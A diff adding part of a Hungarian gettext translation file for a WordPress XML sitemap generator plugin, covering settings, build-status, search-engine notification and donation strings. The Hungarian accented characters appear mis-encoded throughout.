+msgstr "Kommentek szÃ¡mÃ¡nak felhasznÃ¡lÃ¡sa a fontossÃ¡g kiszÃ¡mÃ­tÃ¡sÃ¡hoz"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+msgid "Comment Average"
+msgstr "Kommentek"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+msgid "Uses the average comment count to calculate the priority"
+msgstr "Kommentek szÃ¡molÃ¡sa, hogy a fontossÃ¡got megÃ¡llapÃ­thassa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+msgid "Popularity Contest"
+msgstr "Gyakori tartalom"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+
+msgid "XML-Sitemap Generator"
+msgstr "OldaltÃ©rkÃ©p generÃ¡tor"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap"
+msgstr "XML-OldaltÃ©rkÃ©p"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "KÃ¶szÃ¶njÃŒk a tÃ¡mogatÃ¡st. SegÃ­thez a plugin fejlesztÃ©sÃ©ben, hogy mindez ingyenes maradhasson!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Hide this notice"
+msgstr "TanÃ¡cs elrejtÃ©se"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "KÃ¶szÃ¶njÃŒk, hogy ezt a plugint hasznÃ¡lja! Kb. egy hÃ³napja telepÃ­tette a plugint. Ha jÃ³l mÅ±kÃ¶dik, Ã©s elÃ©gedett az eredmÃ©nyekkel, akkor nem adomÃ¡nyozna a fejlesztÃ©shez egy keveset? <a href=\"%s\">AdomÃ¡nyok</a> segÃ­thetnek a fejleszÃ©sekben, hogy ez a plugin <i>ingyenes</i> maradhasson! <a href=\"%s\">Persze, nem problÃ©ma!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+msgid "No thanks, please don't bug me anymore!"
+msgstr "KÃ¶szÃ¶nÃ¶m, nem. Ne jelenjen meg tÃ¶bbet."
+
+msgid "XML Sitemap Generator for WordPress"
+msgstr "OldaltÃ©rkÃ©p generÃ¡tor WordPresshez"
+
+msgid "Configuration updated"
+msgstr "BeÃ¡llÃ­tÃ¡sok frissÃ­tve!"
+
+msgid "Error while saving options"
+msgstr "Hiba az oldalak mentÃ©sekor"
+
+msgid "Pages saved"
+msgstr "Oldalak mentve"
+
+msgid "Error while saving pages"
+msgstr "Hiba az oldalak mentÃ©sekor"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2748
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "<a href=\"%s\">Robots.txt</a> fÃ¡jl elmentve"
+
+msgid "Error while saving Robots.txt file"
+msgstr "Hiba aa Robots.txt fÃ¡jl mentÃ©sekor"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+msgid "The default configuration was restored."
+msgstr "Alap beÃ¡llÃ­tÃ¡s visszaÃ¡llÃ­tva."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+msgid "open"
+msgstr "megnyit"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+msgid "close"
+msgstr "bezÃ¡r"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+msgid "click-down and drag to move this box"
+msgstr "kattintson rÃ¡, Ã©s ragadja meg ezt a dobozt"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+msgid "click to %toggle% this box"
+msgstr "kattintson, hogy %toggle% ezt a dobozt"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+msgid "use the arrow keys to move this box"
+msgstr "hasznÃ¡lja a mozgatÃ¡shoz a jobbra, balra, fel Ã©s le billentyÅ±ket"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+msgid ", or press the enter key to %toggle% it"
+msgstr ", vagy nyomja meg az enter gombot az %toggle% -hez."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+msgid "About this Plugin:"
+msgstr "PluginrÃ³l:"
+
+msgid "Plugin Homepage"
+msgstr "Plugin fÅoldal"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+msgid "Notify List"
+msgstr "ÃrtesÃ­tÃ©sek"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+msgid "Support Forum"
+msgstr "FÃ³rum"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+msgid "Donate with PayPal"
+msgstr "AdomÃ¡nyozÃ¡s (PayPal)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+msgid "My Amazon Wish List"
+msgstr "My Amazon kÃ­vÃ¡nsÃ¡glista"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_name"
+msgstr "Cenzi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_url"
+msgstr "http://blog.cenzi.hu"
+
+msgid "Sitemap Resources:"
+msgstr "OldaltÃ©rkÃ©p eredmÃ©nyek:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+msgid "Site Explorer"
+msgstr "Oldal bÃ¶ngÃ©szÃ©se"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+msgid "Search Blog"
+msgstr "KeresÅ blog"
+
+msgid "Sitemaps Protocol"
+msgstr "OldaltÃ©rkÃ©p protokol"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+msgid "Official Sitemaps FAQ"
+msgstr "Hivatalos oldaltÃ©rkÃ©pek GYIK"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+msgid "My Sitemaps FAQ"
+msgstr "OldaltÃ©rkÃ©pek GYIK"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+msgid "Recent Donations:"
+msgstr "AdomÃ¡nyok:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+msgid "List of the donors"
+msgstr "AdomÃ¡nyozÃ³k listÃ¡ja"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+msgid "Hide this list"
+msgstr "Lista elrejtÃ©se"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+msgid "Thanks for your support!"
+msgstr "KÃ¶szÃ¶njÃŒk a tÃ¡mogatÃ¡st!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+msgid "Status"
+msgstr "Ãllapot"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "Az oldaltÃ©rkÃ©p mÃ©g nem kÃ©szÃŒlt el. <a href=\"%s\">Kattints ide</a> az elkÃ©szÃ­tÃ©sÃ©hez."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "Az <a href=\"%url%\">oldaltÃ©rkÃ©p</a> legutÃ³bbi felÃ©pÃ­tÃ©se: <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ProblÃ©ma merÃŒlt fel az oldaltÃ©rkÃ©p elkÃ©szÃ­tÃ©sekor. Bizonyosodj meg, hogy a fÃ¡jl lÃ©tezik Ã©s Ã­rhatÃ³. <a href=\"%url%\">TovÃ¡bb</a"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "Az oldaltÃ©rkÃ©ped (<a href=\"%url%\">tÃ¶mÃ¶rÃ©sÃ©nek</a>) ideje: <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ProblÃ©ma merÃŒlt fel az oldaltÃ©rkÃ©p tÃ¶mÃ¶rÃ­tÃ©sÃ©nÃ©l. Bizonyosodj meg, hogy a fÃ¡jl lÃ©tezik Ã©s Ã­rhatÃ³. <a href=\"%url%\">TovÃ¡bb</a"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google <b>sikeresen Ã©rtesÃ­tve</b> lett a vÃ¡ltozÃ¡sokrÃ³l."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% mÃ¡sodpercbe telt a Google Ã©rtesÃ­tÃ©se, de kikapcsolhatÃ³ ez a funkciÃ³."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "ProblÃ©ma merÃŒlt fel a Google Ã©rtesÃ­tÃ©sÃ©nÃ©l. <a href=\"%s\">EredmÃ©ny megtekintÃ©se</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOO <b>sikeresen Ã©rtesÃ­tve</b> lett a vÃ¡ltozÃ¡sokrÃ³l."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% mÃ¡sodpercbe telt a YAHOO Ã©rtesÃ­tÃ©se, de kikapcsolhatÃ³ ez a funkciÃ³."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "ProblÃ©ma merÃŒlt fel a YAHOO Ã©rtesÃ­tÃ©sÃ©nÃ©l. <a href=\"%s\">EredmÃ©ny megtekintÃ©se</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com <b>sikeresen Ã©rtesÃ­tve</b> lett a vÃ¡ltozÃ¡sokrÃ³l."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% mÃ¡sodpercbe telt a Ask.com Ã©rtesÃ­tÃ©se, de kikapcsolhatÃ³ ez a funkciÃ³."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "ProblÃ©ma merÃŒlt fel a Ask.com Ã©rtesÃ­tÃ©sÃ©nÃ©l. <a href=\"%s\">EredmÃ©ny megtekintÃ©se</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "FelÃ©pÃ­tÃ©si folyamat kb. <b>%time% mÃ¡sodperc</b> ami %memory% MB memÃ³riÃ¡t hasznÃ¡l fel."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "FelÃ©pÃ­tÃ©si folyamat kb. <b>%time% mÃ¡sodperc</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Az oldaltÃ©rkÃ©p tartalma <strong>nem vÃ¡ltozott</strong>, ezÃ©rt nem lesznek a keresÅk megpingelve."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "Nem sikerÃŒlt! TalÃ¡n kevÃ©s a memÃ³ria. <a href=\"%url%\">TovÃ¡bb</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "Az utolsÃ³ memÃ³riahasznÃ¡lat %memused%MB volt, a memÃ³rialimit: %memlimit%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "Az utolsÃ³ script hasznÃ¡lat %timeused% mÃ¡sodperc, a szervered limite: %timelimit% mÃ¡sodperc."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "A script megÃ¡llt megkÃ¶zelÃ­tÅleg a kÃ¶vetkezÅ bejegyzÃ©si szÃ¡mnÃ¡l: %lastpost% (+/- 100)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Ha valamilyen vÃ¡ltozÃ¡s tÃ¶rtÃ©nik a blogodon vagy szervereden, akkor ajÃ¡nlatos az <a href=\"%s\">oldaltÃ©rkÃ©p ÃºjraÃ©pÃ­tÃ©se</a> kÃ©zzel."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Ha felmerÃŒl valamilyen problÃ©ma a felÃ©pÃ­tÃ©si folyamat sorÃ¡n, akkor futtasd le a <a href=\"%d\">debug funkciÃ³t</a> a tovÃ¡bbi informÃ¡ciÃ³Ã©rt."
+
+msgid "Basic Options"
+msgstr "Alap beÃ¡llÃ­tÃ¡sok"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+msgid "Sitemap files:"
+msgstr "OldaltÃ©rkÃ©p fÃ¡jlok:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Learn more"
+msgstr "TovÃ¡bb"
+
+msgid "Write a normal XML file (your filename)"
+msgstr "NormÃ¡l XML fÃ¡jl Ã­rÃ¡sa (fÃ¡jlnÃ©v)"
+
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Gzippelt fÃ¡jl Ã­rÃ¡sa (fÃ¡jlÃ©v + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+msgid "Building mode:"
+msgstr "FelÃ©pÃ­tÃ©si mÃ³d:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "OldaltÃ©rkÃ©p ÃºjraÃ©pÃ­tÃ©se, ha a blogod tartalma megvÃ¡ltozott"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+msgid "Enable manual sitemap building via GET Request"
+msgstr "KÃ©zi oldaltÃ©rkÃ©p engedÃ©lyezÃ©se a GET Request segÃ­tsÃ©gÃ©vel"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "Ez engedÃ©lyezni fogja az oldaltÃ©rkÃ©p frissÃŒlÃ©sÃ©t a WordPress adatbÃ¡zisban. HasznÃ¡ld a kÃ¶vetkezÅ cÃ­met a folyamat elindÃ­tÃ¡sÃ¡hoz: <a href=\"%1\">%1</a> EllenÅrizd a naplÃ³zÃ³ fÃ¡jlt, hogy a folyamat befejezÅdÃ¶tt-e."
+
+msgid "Update notification:"
+msgstr "FrissÃ­tÃ©si Ã©rtesÃ­tÃ©sek"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+msgid "Notify Google about updates of your Blog"
+msgstr "Google Ã©rtesÃ­tÃ©se a blogod frissÃŒlÃ©sekor"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Nincs szÃŒksÃ©g a regisztrÃ¡lÃ¡shoz, de csatlakozhatsz a <a href=\"%s\">Google Webmaster Tools</a> programhoz, hogy ellenÅrizhesd a robotok statisztikÃ¡jÃ¡t."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Ask.com Ã©rtesÃ­tÃ©se a blogod frissÃ­tÃ©sekor"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+msgid "No registration required."
+msgstr "Nincs szÃŒksÃ©g a regisztrÃ¡ciÃ³hoz."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "YAHOO Ã©rtesÃ­tÃ©se a blogod frissÃ­tÃ©sekor"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3094
+#, php-format
+msgid "No registration required, but you can sign up for the <a href=\"%s\">YAHOO Site Explorer</a> to view the crawling progress."
+msgstr "Nincs szÃŒksÃ©g a regisztrÃ¡lÃ¡shoz, de csatlakozhatsz a <a href=\"%s\">YAHOO Site Explorer</a> programhoz, hogy ellenÅrizhesd a robotok statisztikÃ¡jÃ¡t."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3099
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "%s fÃ¡jl elkÃ©szÃ­tÃ©se vagy mÃ³dosÃ­tÃ¡sa."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3102
+msgid "File permissions: "
+msgstr "FÃ¡jl engedÃ©lyek:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3107
+msgid "OK, robots.txt is writable."
+msgstr "OK, robots.txt Ã­rhatÃ³."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3109
+msgid "Error, robots.txt is not writable."
+msgstr "Hiba, robots.txt nem Ã­rhatÃ³."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3113
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "OK, robots.txt nem lÃ©tezik, de a kÃ¶nyvtÃ¡r Ã­rhatÃ³."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3115
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "Hiba, robots.txt nem lÃ©tezik Ã©s a kÃ¶nyvtÃ¡r nem Ã­rhatÃ³."
+
+msgid "Advanced options:"
+msgstr "HaladÃ³ beÃ¡llÃ­tÃ¡sok:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Limit the number of posts in the sitemap:"
+msgstr "BejegyzÃ©sek szÃ¡mÃ¡nak limitÃ¡lÃ¡sa az oldaltÃ©rkÃ©pben:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Newer posts will be included first"
+msgstr "Ãjabb bejegyzÃ©sek elÅre kerÃŒlnek"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "Try to increase the memory limit to:"
+msgstr "PrÃ³bÃ¡ld meg a memÃ³ria limit emelÃ©sÃ©t:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "e.g. \"4M\", \"16M\""
+msgstr "pl. \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "Try to increase the execution time limit to:"
+msgstr "PrÃ³bÃ¡ld meg a vÃ©grehajtÃ¡si idÅ emelÃ©sÃ©t:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "mÃ¡sodpercekben pl. \"60\" vagy \"0\" a korlÃ¡tlanÃ©rt"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Include a XSLT stylesheet:"
+msgstr "XSLT stÃ­luslap mellÃ©kelÃ©se:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Use Default"
+msgstr "AlapbeÃ¡llÃ­tÃ¡s hasznÃ¡lata"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Full or relative URL to your .xsl file"
+msgstr "Teljes vagy relatÃ­v URL elÃ©rÃ©se a .xsl fÃ¡jlhoz"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "Alap MySQL mÃ³d engedÃ©lyezÃ©se. Ezt csak akkor hasznÃ¡ld, ha MySQL hibÃ¡kat tapasztalsz. (Sokkal tÃ¶bb memÃ³riÃ¡ra lesz szÃŒksÃ©g!)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "HÃ¡ttÃ©rfolyamatkÃ©nt Ã©pÃ­tse fel az oldaltÃ©rkÃ©pet (Nem kell vÃ¡rni, amÃ­g a bejegyzÃ©st elmented)"
+
+msgid "Additional pages"
+msgstr "Oldalak"
+
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Be tudod Ã¡llÃ­tani azokat a fÃ¡jlokat, amelyek nem tartoznak a blogodhoz.<br />PÃ©ldÃ¡ul, ha a domainod www.akarmi.hu Ã©s a blogod a www.akarmi.hu/blog cÃ­men van, beleteheted a www.akarmi.hu cÃ­met is az oldaltÃ©rkÃ©pbe."
+
+msgid "Note"
+msgstr "MegjegyzÃ©s"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Ha a blogod egy alkÃ¶nyvtÃ¡rban van Ã©s olyan oldalakat szeretnÃ©l felvenni, amelyek nincsennek a blog kÃ¶nyvtÃ¡rÃ¡ban, akkor a gyÃ¶kÃ©r kÃ¶nyvtÃ¡rban kell elhelyeznek az oldaltÃ©rkÃ©pet."
+
+msgid "URL to the page"
+msgstr "Oldal URL-je"
+
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Ãrd be az oldal URL-jÃ©t. PÃ©ldÃ¡ul: http://www.akarmi.hu/index.html vagy www.akarmi.hu/home"
+
+msgid "Priority"
+msgstr "FontossÃ¡g"
+
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "VÃ¡laszd ki az oldalak fontossÃ¡gÃ¡t. PÃ©ldÃ¡ul, a kezdÅlapod lehet, hogy fontosabb, mint az aloldalak."
+
+msgid "Last Changed"
+msgstr "UtolsÃ³ mÃ³dosÃ­tÃ¡s"
+
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Ãrd be az utolsÃ³ mÃ³dosÃ­tÃ¡st YYYY-MM-DD (pÃ©ldakÃ©nt: 2007-08-12) (ajÃ¡nlott)."
+
+msgid "Change Frequency"
+msgstr "VÃ¡ltozÃ¡sok gyakorisÃ¡ga"
+
+msgid "#"
+msgstr "#"
+
+msgid "No pages defined."
+msgstr "Nincs oldal beÃ¡llÃ­tva."
+
+msgid "Add new page"
+msgstr "Ãj oldal felvÃ©tele"
+
+msgid "Post Priority"
+msgstr "BejegyzÃ©s fontossÃ¡ga"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "VÃ¡laszd ki, hogyan mÅ±kÃ¶djÃ¶n a fontossÃ¡g kalkulÃ¡lÃ¡sa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "Do not use automatic priority calculation"
+msgstr "Ne hasznÃ¡lja az automatikus fontossÃ¡g kalkulÃ¡lÃ¡sÃ¡t"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Minden bejegyzÃ©s azonos fontossÃ¡gÃº ami a &quot;FontossÃ¡gok&quot; alatt lett beÃ¡llÃ­tva"
+
+msgid "Location of your sitemap file"
+msgstr "OldaltÃ©rkÃ©p fÃ¡jl elÃ©rÃ©se"
+
+msgid "Automatic detection"
+msgstr "Automatikus megÃ¡llapÃ­tÃ¡s"
+
+msgid "Filename of the sitemap file"
+msgstr "OldaltÃ©rkÃ©p fÃ¡jl neve"
+
+msgid "Detected Path"
+msgstr "ElÃ©rÃ©s"
+
+msgid "Detected URL"
+msgstr "URL megÃ¡llapÃ­tÃ¡sa"
+
+msgid "Custom location"
+msgstr "EgyÃ©ni elÃ©rÃ©s"
+
+msgid "Absolute or relative path to the sitemap file, including name."
